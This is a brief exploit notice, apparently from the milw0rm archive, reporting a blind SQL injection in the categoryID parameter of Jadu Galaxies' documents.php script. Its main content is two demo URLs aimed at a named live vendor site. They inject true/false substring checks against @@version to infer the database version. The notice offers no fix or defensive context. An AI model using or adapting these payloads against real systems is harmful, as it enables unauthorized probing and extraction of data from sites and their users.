Jadu Galaxies (categoryID) Blind SQL Injection Vulnerability

Jadu Galaxies (categoryID) Blind SQL Injection Vulnerability

link: http://www.milw0rm.com/exploits/7144

Discovered By: ZoRLu

exploit for demo:

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=4 ( true )

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=3 ( false )